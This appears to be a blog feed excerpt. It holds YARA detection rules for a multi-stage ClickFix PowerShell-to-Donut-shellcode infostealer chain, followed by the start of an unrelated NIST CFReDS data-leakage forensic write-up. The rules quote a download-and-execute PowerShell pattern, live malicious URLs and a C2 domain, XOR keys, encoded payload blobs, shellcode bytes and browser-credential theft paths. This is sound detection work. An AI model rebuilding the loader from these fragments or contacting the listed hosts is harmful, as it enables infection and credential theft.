  Reference: https://github.com/volexity/donut-decryptor (Donut shellcode sigs included)
*/

import &quot;pe&quot;
import &quot;dotnet&quot;
import &quot;hash&quot;

// ---------------------------------------------------------------------------
// Stage 0 — ClickFix clipboard XOR stager → authexingload downloader
// SHA256: 2e2490b755819d71092a71961d4bfaff5cf3f69fd00199e38759370806d7f78b
// ---------------------------------------------------------------------------
rule MAL_PS_ClickFix_Stage0_XOR_Authexingload_May2026
{
    meta:
        author      = &quot;Jeel Nariya / DFIR analysis&quot;
        description = &quot;Stage0 ClickFix PowerShell: rolling XOR key + embedded b64 decrypting authexingload downloader&quot;
        date        = &quot;2026-06-01&quot;
        reference   = &quot;PowerShell to Shellcode: Reversing a Fileless Multi-Stage Malware Chain May 2026&quot;
        stage       = &quot;stage0&quot;
        hash        = &quot;2e2490b755819d71092a71961d4bfaff5cf3f69fd00199e38759370806d7f78b&quot;
        tactic      = &quot;T1566.002&quot;
        technique   = &quot;T1059.001&quot;
        severity    = &quot;high&quot;

    strings:
        $xor_key     = &quot;xwT2sd46cGELLKZs4fEU&quot; ascii
        $b64_blob    = &quot;clMRQAELRncAMywjIhsoFlIDNzAWFDESTkQTZQorICI4JyMwWwgxPBYCMRV5QHdfFxEmfQI9CCRnFmVoWFU8RgcURwxMaCQ5OCM/C10IIjkXFjAcABRVVQZoJyI1PnQBFmwxJwFXLzhTRBQWRzQmPiU7LlMJRm0bHQB5fREOUVUXZwspOGUNFlYlKTwdGSAbXSBbQQ0rKi0oGC4BXQgifVw0PUYlBwV4FRUSHzxiUFMURmU8HQ90FgAHRl8TM08xbCg7B1cOZS4FfQ==&quot; ascii
        $url         = &quot;authexingload.space/bnyu.r&quot; ascii nocase
        $url_full    = &quot;https://authexingload.space/bnyu.r&quot; ascii nocase
        $var_dl      = &quot;CitVc1NvRWSp&quot; ascii
        $ps_bxor     = &quot;-bxor [byte][char]$key&quot; ascii nocase
        $ps_fromb64  = &quot;[Convert]::FromBase64String&quot; ascii nocase
        $ps_webdl    = &quot;(New-Object Net.WebClient).DownloadString&quot; ascii nocase
        $ps_iex      = &quot;iex $script&quot; ascii nocase

    condition:
        filesize &amp;lt; 64KB
        and (
            (all of ($url*) or $var_dl)
            and 2 of ($ps_*)
        )
        or (
            $xor_key and $b64_blob
        )
}

// ---------------------------------------------------------------------------
// Stage 1/2 — Unicode b64 stager spawning hidden 32-bit PowerShell via STDIN
// SHA256: 986c84f6345e6b40f5ece22c961a7fdb9356733c2ca0b8a22970c7c18ee1ed4e
// ---------------------------------------------------------------------------
rule MAL_PS_Stage2_SysWOW64_Hidden_Stdin_Loader_May2026
{
    meta:
        author      = &quot;Jeel Nariya / DFIR analysis&quot;
        description = &quot;PowerShell stager: Unicode FromBase64String payload + SysWOW64 hidden PS with RedirectStandardInput&quot;
        date        = &quot;2026-06-01&quot;
        stage       = &quot;stage1_ps1&quot;
        hash        = &quot;986c84f6345e6b40f5ece22c961a7fdb9356733c2ca0b8a22970c7c18ee1ed4e&quot;
        tactic      = &quot;T1059.001&quot;
        technique   = &quot;T1027&quot;
        severity    = &quot;high&quot;

    strings:
        $silent      = &quot;$ErrorActionPreference = &apos;SilentlyContinue&apos;&quot; ascii nocase
        $unicode_b64 = &quot;[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(&quot; ascii nocase
        $syswow64    = &quot;SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe&quot; ascii nocase wide
        $hidden      = &quot;-WindowStyle Hidden&quot; ascii nocase
        $noprofile   = &quot;-NoProfile&quot; ascii nocase
        $stdin       = &quot;RedirectStandardInput = $true&quot; ascii nocase
        $stdin2      = &quot;RedirectStandardInput=$true&quot; ascii nocase
        $writeline   = &quot;StandardInput.WriteLine($pay)&quot; ascii nocase
        $iex         = &quot;IEX $pay&quot; ascii nocase

    condition:
        filesize &amp;lt; 20MB
        and $silent
        and $unicode_b64
        and $syswow64
        and 2 of ($hidden, $noprofile, $stdin, $stdin2, $writeline, $iex)
}

// ---------------------------------------------------------------------------
// Stage 3 — In-memory .NET PE via Reflection.Assembly::Load + XOR
// SHA256: beef326622ceb85d37697b965c55290f04c0c6088016b45ba9e17026e36d1fe3
// ---------------------------------------------------------------------------
rule MAL_PS_Stage3_Reflective_DotNet_XOR_Loader_May2026
{
    meta:
        author      = &quot;Jeel Nariya / DFIR analysis&quot;
        description = &quot;PowerShell reflective .NET loader: XOR-decrypt base64 assembly, load via Reflection, invoke EntryPoint&quot;
        date        = &quot;2026-06-01&quot;
        stage       = &quot;stage3&quot;
        hash        = &quot;beef326622ceb85d37697b965c55290f04c0c6088016b45ba9e17026e36d1fe3&quot;
        tactic      = &quot;T1059.001&quot;
        technique   = &quot;T1620&quot;
        severity    = &quot;critical&quot;

    strings:
        $silent      = &quot;$ErrorActionPreference = &apos;SilentlyContinue&apos;&quot; ascii nocase
        $forms       = &quot;Add-Type -AssemblyName System.Windows.Forms&quot; ascii nocase
        $reflect     = &quot;[Reflection.Assembly]::Load($p)&quot; ascii nocase
        $entry       = &quot;$m = $a.EntryPoint&quot; ascii nocase
        $invoke0     = &quot;$m.Invoke($null, $null)&quot; ascii nocase
        $invoke1     = &quot;$m.Invoke($null, @(,[string[]]@()))&quot; ascii nocase
        $xor_loop    = &quot;$p[$i] = $d[$i] -bxor $k[$i % $k.Length]&quot; ascii nocase
        $xor_key_b64 = &quot;DBppizJgfnEzl9LttCPeWFxuBA33gBKuY4Hkq2oZW00=&quot; ascii
        $data_prefix = &quot;QUD5izFgfnE3l9LtS9zeWORuBA33gBKuI4Hkq2oZW01&quot; ascii
        $lure_url    = &quot;syscheck-loadverifyov3.pages.dev&quot; ascii nocase

    condition:
        filesize &amp;lt; 5MB
        and $silent
        and $forms
        and $reflect
        and ($entry or $xor_loop or $invoke0 or $invoke1)
        and (
            $xor_key_b64
            or $data_prefix
            or $lure_url
        )
}

// ---------------------------------------------------------------------------
// Stage 4 — .NET AES shellcode loader (DesktopWorkspaceSync masquerade)
// SHA256: c1e8ea0ebbe41a5714caca4fc85046de84dd82553379c16b7f83b0c7fc8ce20a
// ---------------------------------------------------------------------------
rule MAL_NET_Stage4_DesktopWorkspaceSync_AES_Shellcode_May2026
{
    meta:
        author      = &quot;Jeel Nariya / DFIR analysis&quot;
        description = &quot;.NET GUI loader: AES DecryptShellcode, NtAllocateVirtualMemory/NtCreateThreadEx in-memory execution&quot;
        date        = &quot;2026-06-01&quot;
        stage       = &quot;stage4&quot;
        hash        = &quot;c1e8ea0ebbe41a5714caca4fc85046de84dd82553379c16b7f83b0c7fc8ce20a&quot;
        tactic      = &quot;T1055&quot;
        technique   = &quot;T1620&quot;
        severity    = &quot;critical&quot;

    strings:
        $fake_name   = &quot;DesktopWorkspaceSync&quot; ascii wide
        $fake_desc   = &quot;DesktopWorkspaceSync Component&quot; ascii wide
        $enc_sc      = &quot;EncryptedShellcode&quot; ascii
        $dec_fn      = &quot;DecryptShellcode&quot; ascii
        $nt_alloc    = &quot;NtAllocateVirtualMemory&quot; ascii
        $nt_thread   = &quot;NtCreateThreadEx&quot; ascii
        $nt_wait     = &quot;NtWaitForSingleObject&quot; ascii
        $ntdll       = &quot;ntdll.dll&quot; ascii nocase
        $marshal     = &quot;Marshal&quot; ascii
        $crypto      = &quot;CryptoStream&quot; ascii
        $decryptor   = &quot;CreateDecryptor&quot; ascii
        $guid        = &quot;9C9417E2-2F5D-4EF3-A430-A16CDBCDC8B0&quot; ascii wide

    condition:
        uint16(0) == 0x5A4D
        and filesize &amp;lt; 3MB
        and (
            2 of ($fake_*)
            or ($dec_fn and $enc_sc)
        )
        and 2 of ($nt_alloc, $nt_thread, $nt_wait, $ntdll)
        and 2 of ($marshal, $crypto, $decryptor, $guid)
}

// ---------------------------------------------------------------------------
// Stage 5 — Donut shellcode (embedded DLL, DONUT_INSTANCE_EMBED)
// SHA256: 7e3e622c9762b8ccdf813c0b288f677f1b4055e31389440a9b692638555a5153
// ---------------------------------------------------------------------------
rule MAL_SHELLCODE_Donut_Stage5_May2026
{
    meta:
        author      = &quot;Jeel Nariya / DFIR analysis (Donut sig: Volexity)&quot;
        description = &quot;Donut v1 x86 shellcode loader with embedded module; matches stage5_shellcode.bin&quot;
        date        = &quot;2026-06-01&quot;
        stage       = &quot;stage5&quot;
        hash        = &quot;7e3e622c9762b8ccdf813c0b288f677f1b4055e31389440a9b692638555a5153&quot;
        reference   = &quot;https://github.com/volexity/donut-decryptor&quot;
        severity    = &quot;critical&quot;

    strings:
        // Donut v1.0 x86 loader prologue (Volexity)
        $donut_v1_x86 = { 81 EC D4 02 00 00 53 55 56 8B B4 24 E4 02 00 00 33 DB 57 8B FB 39 9E 38 02 00 00 0F 84 EA 00 00 00 FF 76 2C FF 76 28 FF B6 8C 00 00 00 FF B6 88 }
        // Sample-specific shellcode header (stage5_shellcode.bin offset 0)
        $sc_hdr       = { E8 C0 EF 03 00 C0 EF 03 00 36 DD 30 89 03 59 B4 27 02 7A 1A 55 CC 22 4D 36 A8 9E 77 93 A9 13 38 }

    condition:
        filesize &amp;lt; 512KB
        and (
            $donut_v1_x86
            or $sc_hdr at 0
        )
}

// ---------------------------------------------------------------------------
// Stage 6 — ASMx86 infostealer / C2 (API hashing, AFD bypass, browser theft)
// SHA256: 25d0ad1cc25b94cb4e01ece63b9de726212ed4172f284b12946c5c5b6c732f90
// ---------------------------------------------------------------------------
rule MAL_WIN_Stage6_Trxzidan_Infostealer_May2026
{
    meta:
        author      = &quot;Jeel Nariya / DFIR analysis&quot;
        description = &quot;Final ASMx86 payload: custom API hash resolver, sandbox/EDR checks, browser/Steam theft, AFD C2&quot;
        date        = &quot;2026-06-01&quot;
        stage       = &quot;stage6&quot;
        hash        = &quot;25d0ad1cc25b94cb4e01ece63b9de726212ed4172f284b12946c5c5b6c732f90&quot;
        c2          = &quot;tq.trxzidan.icu&quot;
        tactic      = &quot;T1041&quot;
        severity    = &quot;critical&quot;

    strings:
        // C2 / staging (domain split/obfuscated in binary)
        $c2_font     = &quot;segoeui.tttq.trxzi&quot; ascii
        $c2_telegra  = &quot;telegra.ph/Parameters-04&quot; ascii nocase
        $c2_http     = &quot;https://telegra.ph/Parameters-04http://&quot; ascii nocase

        // Browser / credential theft paths
        $cookie_db   = &quot;\\cookies.sqlite&quot; ascii nocase
        $cookie_net  = &quot;\\Network\\Cookies\\Login Data For &quot; ascii nocase
        $formhist    = &quot;formhistory.sql\\Web Dat&quot; ascii nocase
        $profiles    = &quot;profiles&quot; ascii
        $prefs       = &quot;prefs.js&quot; ascii

        // Low-level networking (AFD.sys)
        $afd_open    = &quot;AfdOpenP&quot; ascii
        $afd_ep      = &quot;\\Device\\Afd\\Endpoint&quot; ascii wide

        // Anti-sandbox process names (built at runtime; partial literals present)
        $av_agent    = &quot;drivers\\agent.ex&quot; ascii nocase
        $av_arun     = &quot;arun&quot; ascii
        $av_agenf    = &quot;agenf&quot; ascii
        $av_anyrf    = &quot;anyrf&quot; ascii
        $av_qemu     = &quot;qemu&quot; ascii
        $av_qemuga   = &quot;-ga.&quot; ascii
        $av_vbox     = &quot;vbox&quot; ascii
        $av_tray     = &quot;tray&quot; ascii
        $av_klhk     = &quot;@ klhk&quot; ascii
        $av_klif     = &quot;@ klif&quot; ascii
        $av_sys      = &quot;@$.sys&quot; ascii

        // Runtime anti-VM string build sequences (x86 mov dword writes)
        $build_arun  = { C7 00 61 72 75 6E C7 40 04 61 67 65 6E 66 }  // arun + agenf
        $build_qemu  = { C7 00 71 65 6D 75 C7 40 04 2D 67 61 2E C7 40 08 65 78 65 }  // qemu + -ga. + exe
        $build_vbox  = { C7 00 76 62 6F 78 C7 40 04 74 72 61 79 }  // vbox + tray

        // Custom API hash algorithm constants (blog / hash_resolve.py)
        $hash_c1     = { A5 87 A8 75 }  // 0x75A887A5
        $hash_c2     = { 7F 9E 67 86 }  // 0x86679E7F
        $hash_c3     = { 6B B4 DE CE }  // 0xCEDEB46B
        $hash_c4     = { 03 D0 28 92 }  // 0x9228D003

        // Masqueraded path noise (unique to this sample)
        $path_noise  = &quot;System32\\kernel3System32\\user32.Fonts\\&quot; ascii

    condition:
        uint16(0) == 0x5A4D
        and filesize &amp;lt; 400KB
        and (
            $c2_font
            or $c2_telegra
            or $c2_http
        )
        and 2 of ($cookie_*, $formhist, $profiles, $prefs)
        and (
            $afd_open
            or $afd_ep
        )
        and (
            2 of ($av_*)
            or 1 of ($build_*)
        )
        and 2 of ($hash_*)
        and $path_noise
}

// ---------------------------------------------------------------------------
// Campaign aggregator — any stage of the May 2026 chain
// ---------------------------------------------------------------------------
rule MAL_Campaign_Fileless_PS_Shellcode_Chain_May2026
{
    meta:
        author      = &quot;Jeel Nariya / DFIR analysis&quot;
        description = &quot;Meta-rule: matches any stage of the fileless PowerShell→.NET→Donut→ASM infostealer chain&quot;
        date        = &quot;2026-06-01&quot;
        reference   = &quot;PowerShell to Shellcode May 2026&quot;
        severity    = &quot;critical&quot;

    condition:
        MAL_PS_ClickFix_Stage0_XOR_Authexingload_May2026
        or MAL_PS_Stage2_SysWOW64_Hidden_Stdin_Loader_May2026
        or MAL_PS_Stage3_Reflective_DotNet_XOR_Loader_May2026
        or MAL_NET_Stage4_DesktopWorkspaceSync_AES_Shellcode_May2026
        or MAL_SHELLCODE_Donut_Stage5_May2026
        or MAL_WIN_Stage6_Trxzidan_Infostealer_May2026
}

// ---------------------------------------------------------------------------
// Optional: hash-based exact match rules (low false positive)
// ---------------------------------------------------------------------------
rule MAL_HASH_Exact_Samples_May2026
{
    meta:
        author      = &quot;Jeel Nariya / DFIR analysis&quot;
        description = &quot;Exact SHA256 matches for published chain samples&quot;
        date        = &quot;2026-06-01&quot;
        severity    = &quot;critical&quot;

    condition:
        hash.sha256(0, filesize) == &quot;2e2490b755819d71092a71961d4bfaff5cf3f69fd00199e38759370806d7f78b&quot;
        or hash.sha256(0, filesize) == &quot;986c84f6345e6b40f5ece22c961a7fdb9356733c2ca0b8a22970c7c18ee1ed4e&quot;
        or hash.sha256(0, filesize) == &quot;9d0ce7a84e62e3458b82d682c7c3f97d095cb2fba8caa0263ee8929994990254&quot;
        or hash.sha256(0, filesize) == &quot;beef326622ceb85d37697b965c55290f04c0c6088016b45ba9e17026e36d1fe3&quot;
        or hash.sha256(0, filesize) == &quot;c1e8ea0ebbe41a5714caca4fc85046de84dd82553379c16b7f83b0c7fc8ce20a&quot;
        or hash.sha256(0, filesize) == &quot;7e3e622c9762b8ccdf813c0b288f677f1b4055e31389440a9b692638555a5153&quot;
        or hash.sha256(0, filesize) == &quot;25d0ad1cc25b94cb4e01ece63b9de726212ed4172f284b12946c5c5b6c732f90&quot;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>NIST CFReDS Data Leakage Case Analysis May 2026</title><link>https://fuwari.vercel.app/posts/nist-cfreds-data-leakage-case-analysis/notes/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/nist-cfreds-data-leakage-case-analysis/notes/</guid><description>Writeup of NIST CFReDS Data Leakage Case Analysis.</description><pubDate>Sat, 02 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;images/banner.png&quot; alt=&quot;banner.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Disk &amp;amp; Image Verification&lt;/h1&gt;
&lt;h2&gt;What are the hash values (MD5 &amp;amp; SHA-1) of all images?&lt;/h2&gt;
&lt;h2&gt;Does the acquisition and verification hash value match?&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Artifact&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;MD5&lt;/th&gt;
&lt;th&gt;SHA-1&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;PC&lt;/td&gt;
&lt;td&gt;System&lt;/td&gt;
&lt;td&gt;&lt;code&gt;A49D1254C873808C58E6F1BCD60B5BDE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AFE5C9AB487BD47A8A9856B1371C2384D44FD785&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Primary system image&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RM#2&lt;/td&gt;
&lt;td&gt;Removable Media&lt;/td&gt;
&lt;td&gt;&lt;code&gt;B4644902ACAB4583A1D0F9F1A08FAA77&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;048961A85CA3ECED8CC73F1517442D31D4DCA0A3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;USB / external device&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RM#3 (Type1)&lt;/td&gt;
&lt;td&gt;Removable Media&lt;/td&gt;
&lt;td&gt;&lt;code&gt;858C7250183A44DD83EB706F3F178990&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;471D3EEDCA9ADD872FC0708297284E1960FF44F8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Same as Type2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RM#3 (Type2)&lt;/td&gt;
&lt;td&gt;Removable Media&lt;/td&gt;
&lt;td&gt;&lt;code&gt;858C7250183A44DD83EB706F3F178990&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;471D3EEDCA9ADD872FC0708297284E1960FF44F8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Duplicate of Type1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RM#3 (Type3)&lt;/td&gt;
&lt;td&gt;Removable Media&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DF914108FB3D86744EB688EBA482FBDF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;7F3C2EB1F1E2DB97BE6E963625402A0E362A532C&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Different dataset&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Image File&lt;/th&gt;
&lt;th&gt;MD5&lt;/th&gt;
&lt;th&gt;SHA-256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;cfreds_2015_data_leakage_pc.E01&lt;/td&gt;
&lt;td&gt;&lt;code&gt;7338dbed7d2293334801416613bc17b5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;e6365e44f1004252171acb73e6779be05277cbd57d09d7febed22d2463a956a9&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cfreds_2015_data_leakage_pc.E02&lt;/td&gt;
&lt;td&gt;&lt;code&gt;51675274ad9eb6a15d0e562d10a4913f&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;3bc1c1cab227031e0a209972511d1e030f7cb60b76a89db0db7b412f56b660df&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cfreds_2015_data_leakage_pc.E03&lt;/td&gt;
&lt;td&gt;&lt;code&gt;7a21bf1b6db3ce433c55ac76749f12d9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;f45a0cd89b1f1a6a805771014f2dcef42497ba421c7edf1597ee50b5ca6c0b3c&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cfreds_2015_data_leakage_pc.E04&lt;/td&gt;
&lt;td&gt;&lt;code&gt;62f6cce2ec9e1b1f7a21cef0d12e0e38&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;33cd294e44be91c5147296675fdbb40c270471480c4a1998d3a59fea3d944099&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cfreds_2015_data_leakage_rm#1.E01&lt;/td&gt;
&lt;td&gt;&lt;code&gt;7cd7bc148d3a1e5f329cb3580d4d4f8f&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a14150a21bc1e3700b51912c2ab20cd9587ad3e27ee67475af64508a7e760121&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cfreds_2015_data_leakage_rm#2.E01&lt;/td&gt;
&lt;td&gt;&lt;code&gt;6cfbfdb14e0a504684a338b87362d753&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;25215f9bcb51ceee9147886ed3f5c13ef148de634fc5114491e0f8dad8b15696&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cfreds_2015_data_leakage_rm#3_type3.E01&lt;/td&gt;
&lt;td&gt;&lt;code&gt;b49cb0c7dfccb8cd0e39424e3f1abc86&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;336e1307721ef5f63679379961d1716b74f986e69df8c40117d9cea7858d512b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;Partition &amp;amp; System Information&lt;/h1&gt;
&lt;h2&gt;Identify the partition information of PC image.&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501135013.png&quot; alt=&quot;Pasted image 20260501135013.png&quot; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;No.&lt;/th&gt;
&lt;th&gt;Bootable&lt;/th&gt;
&lt;th&gt;File System&lt;/th&gt;
&lt;th&gt;Start Sector&lt;/th&gt;
&lt;th&gt;Total Sectors&lt;/th&gt;
&lt;th&gt;Size&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;NTFS&lt;/td&gt;
&lt;td&gt;2,048&lt;/td&gt;
&lt;td&gt;204,800&lt;/td&gt;
&lt;td&gt;100 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;*&lt;/td&gt;
&lt;td&gt;NTFS&lt;/td&gt;
&lt;td&gt;206,848&lt;/td&gt;
&lt;td&gt;41,734,144&lt;/td&gt;
&lt;td&gt;19.9 GB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Explain installed OS information in detail. (OS name, install date, registered owner…)&lt;/h2&gt;
&lt;h3&gt;System Registry Hives&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hive Name&lt;/th&gt;
&lt;th&gt;File Path&lt;/th&gt;
&lt;th&gt;SHA-256 Hash&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SYSTEM&lt;/td&gt;
&lt;td&gt;C:\Windows\System32\config\SYSTEM&lt;/td&gt;
&lt;td&gt;e896ef300843a3efd1c1f96b25fd2b209cd1ad28d653ab6bc05699f910bbd3d1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SOFTWARE&lt;/td&gt;
&lt;td&gt;C:\Windows\System32\config\SOFTWARE&lt;/td&gt;
&lt;td&gt;03422334efaca3c9cd2657518b5706fb9ef42ef7abe49cc3dddaa98dabb394ac&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SAM&lt;/td&gt;
&lt;td&gt;C:\Windows\System32\config\SAM&lt;/td&gt;
&lt;td&gt;6aecc0b2b5fb86a71498cb688bb59df43f85547723bff898a534fadef26c428f&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SECURITY&lt;/td&gt;
&lt;td&gt;C:\Windows\System32\config\SECURITY&lt;/td&gt;
&lt;td&gt;1170568731c717d4d8c84ae52bd9ade737c3b0d4173127c68c3cc2ea8ff3b143&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;User Registry Hives&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;User&lt;/th&gt;
&lt;th&gt;File Name&lt;/th&gt;
&lt;th&gt;SHA-256 Hash&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;admin11&lt;/td&gt;
&lt;td&gt;admin11_NTUSER.DAT&lt;/td&gt;
&lt;td&gt;b8e18d84ad84735998805a25e22ae7b3c696aba2ff36c73a1e294862805aaf4c&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;informant&lt;/td&gt;
&lt;td&gt;informant_NTUSER.DAT&lt;/td&gt;
&lt;td&gt;2190b57e2908d36f835589cc530c8c471ea48952f8edea70cc91488d9b5d1f64&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;temporary&lt;/td&gt;
&lt;td&gt;tamporary_NTUSER.DAT&lt;/td&gt;
&lt;td&gt;0edc2037f4daf584f4142808aa52863262af746aa9ac2f1d415f5cc102649297&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;admin11&lt;/td&gt;
&lt;td&gt;admin11_UsrClass.dat&lt;/td&gt;
&lt;td&gt;d3a120dfd44e275dfd16ecec14da3d770e462cf8966e740c812e6f9c5492a648&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;informant&lt;/td&gt;
&lt;td&gt;informant_UsrClass.dat&lt;/td&gt;
&lt;td&gt;a26fe02da57e6c84a911edf9dd39021ecf200d66d168841331dae0be9dd2f1b7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;temporary&lt;/td&gt;
&lt;td&gt;tamporary_UsrClass.datT&lt;/td&gt;
&lt;td&gt;d36330d2553c21e3df4708fc3d88d1ae1542be8c1c5154676994e92820e1c231&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502173612.png&quot; alt=&quot;Pasted image 20260502173612.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501140951.png&quot; alt=&quot;Pasted image 20260501140951.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Opened the &lt;code&gt;SOFTWARE&lt;/code&gt; hive in &lt;code&gt;RegExplorer&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501161850.png&quot; alt=&quot;Pasted image 20260501161850.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501140918.png&quot; alt=&quot;Pasted image 20260501140918.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Installed OS Information&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OS Name&lt;/td&gt;
&lt;td&gt;Windows 7 Ultimate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Edition&lt;/td&gt;
&lt;td&gt;Ultimate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Version&lt;/td&gt;
&lt;td&gt;6.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Build Number&lt;/td&gt;
&lt;td&gt;7601&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Service Pack&lt;/td&gt;
&lt;td&gt;Service Pack 1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Architecture&lt;/td&gt;
&lt;td&gt;Multiprocessor Free (64-bit)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Installation Type&lt;/td&gt;
&lt;td&gt;Client&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;System Root&lt;/td&gt;
&lt;td&gt;C:\Windows&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Registered Owner&lt;/td&gt;
&lt;td&gt;informant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Registered Organization&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Product ID&lt;/td&gt;
&lt;td&gt;00426-292-0000007-85262&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;What is the time zone setting?&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260501141435.png&quot; alt=&quot;Pasted image 20260501141435.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HKLM\SYSTEM\ControlSet###\Control\TimeZoneInformation&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
